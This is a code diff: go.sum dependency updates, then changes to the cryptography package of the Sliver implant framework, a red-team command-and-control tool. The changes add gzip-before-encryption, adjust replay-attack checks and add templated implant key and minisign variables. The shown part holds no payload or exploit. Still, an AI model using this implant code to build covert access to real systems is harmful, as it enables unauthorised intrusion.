golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY=
|
||||
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
|
||||
golang.org/x/mod v0.1.1-0.20191107180719-034126e5016b/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
|
||||
golang.org/x/mod v0.3.0 h1:RM4zey1++hCTbCVQfnWeKs9/IEsaBLA8vTkd0WVtmH4=
|
||||
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
@@ -573,6 +588,7 @@ golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20201009025420-dfb3f7c4e634/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201126233918-771906719818/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
@@ -583,6 +599,10 @@ golang.org/x/sys v0.0.0-20210316164454-77fc1eacc6aa/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210816074244-15123e1e1f71/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210902050250-f475640dd07b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211007075335-d3039528d8ac/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211013075003-97ac67df715c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1 h1:kwrAHlwJ0DUBZwQ238v+Uod/3eZ8B2K5rYsUHBQvzmI=
|
||||
golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
|
||||
@@ -625,6 +645,8 @@ golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtn
|
||||
golang.org/x/tools v0.0.0-20191216052735-49a3e744a425/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||
golang.org/x/tools v0.0.0-20200207183749-b753a1ba74fa/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||
golang.org/x/tools v0.0.0-20201124115921-2c860bdd6e78/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
|
||||
golang.org/x/tools v0.1.0 h1:po9/4sTYwZU9lPhi1tOrb4hCv3qrhiQ77LZfGa2OjwY=
|
||||
golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0=
|
||||
golang.org/x/xerrors v0.0.0-20190410155217-1f06c39b4373/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20190513163551-3ee3066db522/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
@@ -724,4 +746,126 @@ honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWh
|
||||
honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=
|
||||
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22 h1:DNtszwGa6w76qlIr+PbPEnlBJdiRV8SaxeigOy0q1gg=
|
||||
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22/go.mod h1:GVx+5OZtbG4TVOW5ilmyRZAZXr1cNwfqUEkTOtWK0PM=
|
||||
lukechampine.com/uint128 v1.1.1 h1:pnxCASz787iMf+02ssImqk6OLt+Z5QHMoZyUXR4z6JU=
|
||||
lukechampine.com/uint128 v1.1.1/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk=
|
||||
modernc.org/cc/v3 v3.33.6/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.33.9/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.33.11/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.34.0/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.0/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.4/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.5/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.7/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.8/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.10/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.15/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.16/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.17/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/cc/v3 v3.35.18 h1:rMZhRcWrba0y3nVmdiQ7kxAgOOSq2m2f2VzjHLgEs6U=
|
||||
modernc.org/cc/v3 v3.35.18/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
|
||||
modernc.org/ccgo/v3 v3.9.5/go.mod h1:umuo2EP2oDSBnD3ckjaVUXMrmeAw8C8OSICVa0iFf60=
|
||||
modernc.org/ccgo/v3 v3.10.0/go.mod h1:c0yBmkRFi7uW4J7fwx/JiijwOjeAeR2NoSaRVFPmjMw=
|
||||
modernc.org/ccgo/v3 v3.11.0/go.mod h1:dGNposbDp9TOZ/1KBxghxtUp/bzErD0/0QW4hhSaBMI=
|
||||
modernc.org/ccgo/v3 v3.11.1/go.mod h1:lWHxfsn13L3f7hgGsGlU28D9eUOf6y3ZYHKoPaKU0ag=
|
||||
modernc.org/ccgo/v3 v3.11.3/go.mod h1:0oHunRBMBiXOKdaglfMlRPBALQqsfrCKXgw9okQ3GEw=
|
||||
modernc.org/ccgo/v3 v3.12.4/go.mod h1:Bk+m6m2tsooJchP/Yk5ji56cClmN6R1cqc9o/YtbgBQ=
|
||||
modernc.org/ccgo/v3 v3.12.6/go.mod h1:0Ji3ruvpFPpz+yu+1m0wk68pdr/LENABhTrDkMDWH6c=
|
||||
modernc.org/ccgo/v3 v3.12.8/go.mod h1:Hq9keM4ZfjCDuDXxaHptpv9N24JhgBZmUG5q60iLgUo=
|
||||
modernc.org/ccgo/v3 v3.12.11/go.mod h1:0jVcmyDwDKDGWbcrzQ+xwJjbhZruHtouiBEvDfoIsdg=
|
||||
modernc.org/ccgo/v3 v3.12.14/go.mod h1:GhTu1k0YCpJSuWwtRAEHAol5W7g1/RRfS4/9hc9vF5I=
|
||||
modernc.org/ccgo/v3 v3.12.18/go.mod h1:jvg/xVdWWmZACSgOiAhpWpwHWylbJaSzayCqNOJKIhs=
|
||||
modernc.org/ccgo/v3 v3.12.20/go.mod h1:aKEdssiu7gVgSy/jjMastnv/q6wWGRbszbheXgWRHc8=
|
||||
modernc.org/ccgo/v3 v3.12.21/go.mod h1:ydgg2tEprnyMn159ZO/N4pLBqpL7NOkJ88GT5zNU2dE=
|
||||
modernc.org/ccgo/v3 v3.12.22/go.mod h1:nyDVFMmMWhMsgQw+5JH6B6o4MnZ+UQNw1pp52XYFPRk=
|
||||
modernc.org/ccgo/v3 v3.12.25/go.mod h1:UaLyWI26TwyIT4+ZFNjkyTbsPsY3plAEB6E7L/vZV3w=
|
||||
modernc.org/ccgo/v3 v3.12.29/go.mod h1:FXVjG7YLf9FetsS2OOYcwNhcdOLGt8S9bQ48+OP75cE=
|
||||
modernc.org/ccgo/v3 v3.12.36/go.mod h1:uP3/Fiezp/Ga8onfvMLpREq+KUjUmYMxXPO8tETHtA8=
|
||||
modernc.org/ccgo/v3 v3.12.38/go.mod h1:93O0G7baRST1vNj4wnZ49b1kLxt0xCW5Hsa2qRaZPqc=
|
||||
modernc.org/ccgo/v3 v3.12.43/go.mod h1:k+DqGXd3o7W+inNujK15S5ZYuPoWYLpF5PYougCmthU=
|
||||
modernc.org/ccgo/v3 v3.12.46/go.mod h1:UZe6EvMSqOxaJ4sznY7b23/k13R8XNlyWsO5bAmSgOE=
|
||||
modernc.org/ccgo/v3 v3.12.47/go.mod h1:m8d6p0zNps187fhBwzY/ii6gxfjob1VxWb919Nk1HUk=
|
||||
modernc.org/ccgo/v3 v3.12.50/go.mod h1:bu9YIwtg+HXQxBhsRDE+cJjQRuINuT9PUK4orOco/JI=
|
||||
modernc.org/ccgo/v3 v3.12.51/go.mod h1:gaIIlx4YpmGO2bLye04/yeblmvWEmE4BBBls4aJXFiE=
|
||||
modernc.org/ccgo/v3 v3.12.53/go.mod h1:8xWGGTFkdFEWBEsUmi+DBjwu/WLy3SSOrqEmKUjMeEg=
|
||||
modernc.org/ccgo/v3 v3.12.54/go.mod h1:yANKFTm9llTFVX1FqNKHE0aMcQb1fuPJx6p8AcUx+74=
|
||||
modernc.org/ccgo/v3 v3.12.55/go.mod h1:rsXiIyJi9psOwiBkplOaHye5L4MOOaCjHg1Fxkj7IeU=
|
||||
modernc.org/ccgo/v3 v3.12.56/go.mod h1:ljeFks3faDseCkr60JMpeDb2GSO3TKAmrzm7q9YOcMU=
|
||||
modernc.org/ccgo/v3 v3.12.57/go.mod h1:hNSF4DNVgBl8wYHpMvPqQWDQx8luqxDnNGCMM4NFNMc=
|
||||
modernc.org/ccgo/v3 v3.12.60/go.mod h1:k/Nn0zdO1xHVWjPYVshDeWKqbRWIfif5dtsIOCUVMqM=
|
||||
modernc.org/ccgo/v3 v3.12.66/go.mod h1:jUuxlCFZTUZLMV08s7B1ekHX5+LIAurKTTaugUr/EhQ=
|
||||
modernc.org/ccgo/v3 v3.12.67/go.mod h1:Bll3KwKvGROizP2Xj17GEGOTrlvB1XcVaBrC90ORO84=
|
||||
modernc.org/ccgo/v3 v3.12.73/go.mod h1:hngkB+nUUqzOf3iqsM48Gf1FZhY599qzVg1iX+BT3cQ=
|
||||
modernc.org/ccgo/v3 v3.12.81/go.mod h1:p2A1duHoBBg1mFtYvnhAnQyI6vL0uw5PGYLSIgF6rYY=
|
||||
modernc.org/ccgo/v3 v3.12.84/go.mod h1:ApbflUfa5BKadjHynCficldU1ghjen84tuM5jRynB7w=
|
||||
modernc.org/ccgo/v3 v3.12.86/go.mod h1:dN7S26DLTgVSni1PVA3KxxHTcykyDurf3OgUzNqTSrU=
|
||||
modernc.org/ccgo/v3 v3.12.88/go.mod h1:0MFzUHIuSIthpVZyMWiFYMwjiFnhrN5MkvBrUwON+ZM=
|
||||
modernc.org/ccgo/v3 v3.12.90/go.mod h1:obhSc3CdivCRpYZmrvO88TXlW0NvoSVvdh/ccRjJYko=
|
||||
modernc.org/ccgo/v3 v3.12.92/go.mod h1:5yDdN7ti9KWPi5bRVWPl8UNhpEAtCjuEE7ayQnzzqHA=
|
||||
modernc.org/ccgo/v3 v3.12.95 h1:Ym2JG2G3P4IyZqjTTojHTl7qO0RysXeGSYPSoKPSBxc=
|
||||
modernc.org/ccgo/v3 v3.12.95/go.mod h1:ZcLyvtocXYi8uF+9Ebm3G8EF8HNY5hGomBqthDp4eC8=
|
||||
modernc.org/ccorpus v1.11.1 h1:K0qPfpVG1MJh5BYazccnmhywH4zHuOgJXgbjzyp6dWA=
|
||||
modernc.org/ccorpus v1.11.1/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ=
|
||||
modernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM=
|
||||
modernc.org/httpfs v1.0.6/go.mod h1:7dosgurJGp0sPaRanU53W4xZYKh14wfzX420oZADeHM=
|
||||
modernc.org/libc v1.9.8/go.mod h1:U1eq8YWr/Kc1RWCMFUWEdkTg8OTcfLw2kY8EDwl039w=
|
||||
modernc.org/libc v1.9.11/go.mod h1:NyF3tsA5ArIjJ83XB0JlqhjTabTCHm9aX4XMPHyQn0Q=
|
||||
modernc.org/libc v1.11.0/go.mod h1:2lOfPmj7cz+g1MrPNmX65QCzVxgNq2C5o0jdLY2gAYg=
|
||||
modernc.org/libc v1.11.2/go.mod h1:ioIyrl3ETkugDO3SGZ+6EOKvlP3zSOycUETe4XM4n8M=
|
||||
modernc.org/libc v1.11.5/go.mod h1:k3HDCP95A6U111Q5TmG3nAyUcp3kR5YFZTeDS9v8vSU=
|
||||
modernc.org/libc v1.11.6/go.mod h1:ddqmzR6p5i4jIGK1d/EiSw97LBcE3dK24QEwCFvgNgE=
|
||||
modernc.org/libc v1.11.11/go.mod h1:lXEp9QOOk4qAYOtL3BmMve99S5Owz7Qyowzvg6LiZso=
|
||||
modernc.org/libc v1.11.13/go.mod h1:ZYawJWlXIzXy2Pzghaf7YfM8OKacP3eZQI81PDLFdY8=
|
||||
modernc.org/libc v1.11.16/go.mod h1:+DJquzYi+DMRUtWI1YNxrlQO6TcA5+dRRiq8HWBWRC8=
|
||||
modernc.org/libc v1.11.19/go.mod h1:e0dgEame6mkydy19KKaVPBeEnyJB4LGNb0bBH1EtQ3I=
|
||||
modernc.org/libc v1.11.24/go.mod h1:FOSzE0UwookyT1TtCJrRkvsOrX2k38HoInhw+cSCUGk=
|
||||
modernc.org/libc v1.11.26/go.mod h1:SFjnYi9OSd2W7f4ct622o/PAYqk7KHv6GS8NZULIjKY=
|
||||
modernc.org/libc v1.11.27/go.mod h1:zmWm6kcFXt/jpzeCgfvUNswM0qke8qVwxqZrnddlDiE=
|
||||
modernc.org/libc v1.11.28/go.mod h1:Ii4V0fTFcbq3qrv3CNn+OGHAvzqMBvC7dBNyC4vHZlg=
|
||||
modernc.org/libc v1.11.31/go.mod h1:FpBncUkEAtopRNJj8aRo29qUiyx5AvAlAxzlx9GNaVM=
|
||||
modernc.org/libc v1.11.34/go.mod h1:+Tzc4hnb1iaX/SKAutJmfzES6awxfU1BPvrrJO0pYLg=
|
||||
modernc.org/libc v1.11.37/go.mod h1:dCQebOwoO1046yTrfUE5nX1f3YpGZQKNcITUYWlrAWo=
|
||||
modernc.org/libc v1.11.39/go.mod h1:mV8lJMo2S5A31uD0k1cMu7vrJbSA3J3waQJxpV4iqx8=
|
||||
modernc.org/libc v1.11.42/go.mod h1:yzrLDU+sSjLE+D4bIhS7q1L5UwXDOw99PLSX0BlZvSQ=
|
||||
modernc.org/libc v1.11.44/go.mod h1:KFq33jsma7F5WXiYelU8quMJasCCTnHK0mkri4yPHgA=
|
||||
modernc.org/libc v1.11.45/go.mod h1:Y192orvfVQQYFzCNsn+Xt0Hxt4DiO4USpLNXBlXg/tM=
|
||||
modernc.org/libc v1.11.47/go.mod h1:tPkE4PzCTW27E6AIKIR5IwHAQKCAtudEIeAV1/SiyBg=
|
||||
modernc.org/libc v1.11.49/go.mod h1:9JrJuK5WTtoTWIFQ7QjX2Mb/bagYdZdscI3xrvHbXjE=
|
||||
modernc.org/libc v1.11.51/go.mod h1:R9I8u9TS+meaWLdbfQhq2kFknTW0O3aw3kEMqDDxMaM=
|
||||
modernc.org/libc v1.11.53/go.mod h1:5ip5vWYPAoMulkQ5XlSJTy12Sz5U6blOQiYasilVPsU=
|
||||
modernc.org/libc v1.11.54/go.mod h1:S/FVnskbzVUrjfBqlGFIPA5m7UwB3n9fojHhCNfSsnw=
|
||||
modernc.org/libc v1.11.55/go.mod h1:j2A5YBRm6HjNkoSs/fzZrSxCuwWqcMYTDPLNx0URn3M=
|
||||
modernc.org/libc v1.11.56/go.mod h1:pakHkg5JdMLt2OgRadpPOTnyRXm/uzu+Yyg/LSLdi18=
|
||||
modernc.org/libc v1.11.58/go.mod h1:ns94Rxv0OWyoQrDqMFfWwka2BcaF6/61CqJRK9LP7S8=
|
||||
modernc.org/libc v1.11.71/go.mod h1:DUOmMYe+IvKi9n6Mycyx3DbjfzSKrdr/0Vgt3j7P5gw=
|
||||
modernc.org/libc v1.11.75/go.mod h1:dGRVugT6edz361wmD9gk6ax1AbDSe0x5vji0dGJiPT0=
|
||||
modernc.org/libc v1.11.82/go.mod h1:NF+Ek1BOl2jeC7lw3a7Jj5PWyHPwWD4aq3wVKxqV1fI=
|
||||
modernc.org/libc v1.11.86/go.mod h1:ePuYgoQLmvxdNT06RpGnaDKJmDNEkV7ZPKI2jnsvZoE=
|
||||
modernc.org/libc v1.11.87/go.mod h1:Qvd5iXTeLhI5PS0XSyqMY99282y+3euapQFxM7jYnpY=
|
||||
modernc.org/libc v1.11.88/go.mod h1:h3oIVe8dxmTcchcFuCcJ4nAWaoiwzKCdv82MM0oiIdQ=
|
||||
modernc.org/libc v1.11.90/go.mod h1:ynK5sbjsU77AP+nn61+k+wxUGRx9rOFcIqWYYMaDZ4c=
|
||||
modernc.org/libc v1.11.98/go.mod h1:ynK5sbjsU77AP+nn61+k+wxUGRx9rOFcIqWYYMaDZ4c=
|
||||
modernc.org/libc v1.11.99/go.mod h1:wLLYgEiY2D17NbBOEp+mIJJJBGSiy7fLL4ZrGGZ+8jI=
|
||||
modernc.org/libc v1.11.101/go.mod h1:wLLYgEiY2D17NbBOEp+mIJJJBGSiy7fLL4ZrGGZ+8jI=
|
||||
modernc.org/libc v1.11.104 h1:gxoa5b3HPo7OzD4tKZjgnwXk/w//u1oovvjSMP3Q96Q=
|
||||
modernc.org/libc v1.11.104/go.mod h1:2MH3DaF/gCU8i/UBiVE1VFRos4o523M7zipmwH8SIgQ=
|
||||
modernc.org/mathutil v1.1.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
|
||||
modernc.org/mathutil v1.2.2/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
|
||||
modernc.org/mathutil v1.4.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
|
||||
modernc.org/mathutil v1.4.1 h1:ij3fYGe8zBF4Vu+g0oT7mB06r8sqGWKuJu1yXeR4by8=
|
||||
modernc.org/mathutil v1.4.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
|
||||
modernc.org/memory v1.0.4/go.mod h1:nV2OApxradM3/OVbs2/0OsP6nPfakXpi50C7dcoHXlc=
|
||||
modernc.org/memory v1.0.5 h1:XRch8trV7GgvTec2i7jc33YlUI0RKVDBvZ5eZ5m8y14=
|
||||
modernc.org/memory v1.0.5/go.mod h1:B7OYswTRnfGg+4tDH1t1OeUNnsy2viGTdME4tzd+IjM=
|
||||
modernc.org/opt v0.1.1 h1:/0RX92k9vwVeDXj+Xn23DKp2VJubL7k8qNffND6qn3A=
|
||||
modernc.org/opt v0.1.1/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
|
||||
modernc.org/sqlite v1.14.3 h1:psrTwgpEujgWEP3FNdsC9yNh5tSeA77U0GeWhHH4XmQ=
|
||||
modernc.org/sqlite v1.14.3/go.mod h1:xMpicS1i2MJ4C8+Ap0vYBqTwYfpFvdnPE6brbFOtV2Y=
|
||||
modernc.org/strutil v1.1.1 h1:xv+J1BXY3Opl2ALrBwyfEikFAj8pmqcpnfmuwUwcozs=
|
||||
modernc.org/strutil v1.1.1/go.mod h1:DE+MQQ/hjKBZS2zNInV5hhcipt5rLPWkmpbGeW5mmdw=
|
||||
modernc.org/tcl v1.9.2 h1:YA87dFLOsR2KqMka371a2Xgr+YsyUwo7OmHVSv/kztw=
|
||||
modernc.org/tcl v1.9.2/go.mod h1:aw7OnlIoiuJgu1gwbTZtrKnGpDqH9wyH++jZcxdqNsg=
|
||||
modernc.org/token v1.0.0 h1:a0jaWiNMDhDUtqOj09wvjWWAqd3q7WpBulmL9H2egsk=
|
||||
modernc.org/token v1.0.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
|
||||
modernc.org/z v1.2.20 h1:DyboxM1sJR2NB803j2StnbnL6jcQXz273OhHDGu8dGk=
|
||||
modernc.org/z v1.2.20/go.mod h1:zU9FiF4PbHdOTUxw+IF8j7ArBMRPsHgq10uVPt6xTzo=
|
||||
rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
|
||||
@@ -19,6 +19,8 @@ package cryptography
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"crypto/x509"
|
||||
@@ -106,7 +108,7 @@ func Encrypt(key [chacha20poly1305.KeySize]byte, plaintext []byte) ([]byte, erro
|
||||
if _, err := rand.Read(nonce); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return aead.Seal(nonce, nonce, plaintext, nil), nil
|
||||
return aead.Seal(nonce, nonce, GzipBuf(plaintext), nil), nil
|
||||
}
|
||||
|
||||
// Decrypt - Decrypt using chacha20poly1305
|
||||
@@ -124,7 +126,11 @@ func Decrypt(key [chacha20poly1305.KeySize]byte, ciphertext []byte) ([]byte, err
|
||||
nonce, ciphertext := ciphertext[:aead.NonceSize()], ciphertext[aead.NonceSize():]
|
||||
|
||||
// Decrypt the message and check it wasn't tampered with.
|
||||
return aead.Open(nil, nonce, ciphertext, nil)
|
||||
plaintext, err := aead.Open(nil, nonce, ciphertext, nil)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return GunzipBuf(plaintext), nil
|
||||
}
|
||||
|
||||
// NewCipherContext - Wrapper around creating a cipher context from a key
|
||||
@@ -143,15 +149,17 @@ type CipherContext struct {
|
||||
}
|
||||
|
||||
// Decrypt - Decrypt a message with the contextual key and check for replay attacks
|
||||
func (c *CipherContext) Decrypt(data []byte) ([]byte, error) {
|
||||
plaintext, err := Decrypt(c.Key, data)
|
||||
func (c *CipherContext) Decrypt(ciphertext []byte) ([]byte, error) {
|
||||
plaintext, err := Decrypt(c.Key, ciphertext)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
digest := sha256.Sum256(data)
|
||||
b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
|
||||
if _, ok := c.replay.LoadOrStore(b64Digest, true); ok {
|
||||
return nil, ErrReplayAttack
|
||||
if 0 < len(ciphertext) {
|
||||
digest := sha256.Sum256(ciphertext)
|
||||
b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
|
||||
if _, ok := c.replay.LoadOrStore(b64Digest, true); ok {
|
||||
return nil, ErrReplayAttack
|
||||
}
|
||||
}
|
||||
return plaintext, nil
|
||||
}
|
||||
@@ -162,9 +170,11 @@ func (c *CipherContext) Encrypt(plaintext []byte) ([]byte, error) {
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
digest := sha256.Sum256(ciphertext)
|
||||
b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
|
||||
c.replay.Store(b64Digest, true)
|
||||
if 0 < len(ciphertext) {
|
||||
digest := sha256.Sum256(ciphertext)
|
||||
b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
|
||||
c.replay.Store(b64Digest, true)
|
||||
}
|
||||
return ciphertext, nil
|
||||
}
|
||||
|
||||
@@ -224,3 +234,20 @@ func RootOnlyVerifyCertificate(caCertPEM string, rawCerts [][]byte, _ [][]*x509.
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// GzipBuf - Gzip a buffer
|
||||
func GzipBuf(data []byte) []byte {
|
||||
var buf bytes.Buffer
|
||||
zip := gzip.NewWriter(&buf)
|
||||
zip.Write(data)
|
||||
zip.Close()
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
// GunzipBuf - Gunzip a buffer
|
||||
func GunzipBuf(data []byte) []byte {
|
||||
zip, _ := gzip.NewReader(bytes.NewBuffer(data))
|
||||
var buf bytes.Buffer
|
||||
buf.ReadFrom(zip)
|
||||
return buf.Bytes()
|
||||
}
|
||||
@@ -2,7 +2,7 @@ package cryptography
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -21,36 +21,46 @@ package cryptography
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
var (
|
||||
// ECCPublicKey - The implant's ECC public key
|
||||
eccPublicKey = "{{.Config.ECCPublicKey}}"
|
||||
ECCPublicKey = "{{.Config.ECCPublicKey}}"
|
||||
// eccPrivateKey - The implant's ECC private key
|
||||
eccPrivateKey = "{{.Config.ECCPrivateKey}}"
|
||||
// eccPublicKeySignature - The implant's signed ECC key by the server using Ed25519
|
||||
eccPublicKeySignature = "{{.Config.ECCPublicKeySignature}}"
|
||||
// eccPublicKeySignature - The implant's public key minisigned'd
|
||||
ECCPublicKeySignature = `{{.Config.ECCPublicKeySignature}}`
|
||||
// eccServerPublicKey - Server's ECC public key
|
||||
eccServerPublicKey = "{{.Config.ECCServerPublicKey}}"
|
||||
// minisignServerPublicKey - The server's minisign public key
|
||||
minisignServerPublicKey = `{{.Config.MinisignServerPublicKey}}`
|
||||
|
||||
// TOTP secret value
|
||||
totpSecret = "{{.OTPSecret}}"
|
||||
|
||||
ErrInvalidPeerKey = errors.New("invalid peer key")
|
||||
)
|
||||
|
||||
// {{if .Config.Debug}} - Used for unit tests, remove from normal builds where these values are set at compile-time
|
||||
func SetSecrets(newEccPublicKey, newEccPrivateKey, newEccPublicKeySignature, newEccServerPublicKey, newTotpSecret string) {
|
||||
eccPublicKey = newEccPublicKey
|
||||
func SetSecrets(newEccPublicKey, newEccPrivateKey, newEccPublicKeySignature, newEccServerPublicKey, newTotpSecret, newMinisignServerPublicKey string) {
|
||||
ECCPublicKey = newEccPublicKey
|
||||
eccPrivateKey = newEccPrivateKey
|
||||
eccPublicKeySignature = newEccPublicKeySignature
|
||||
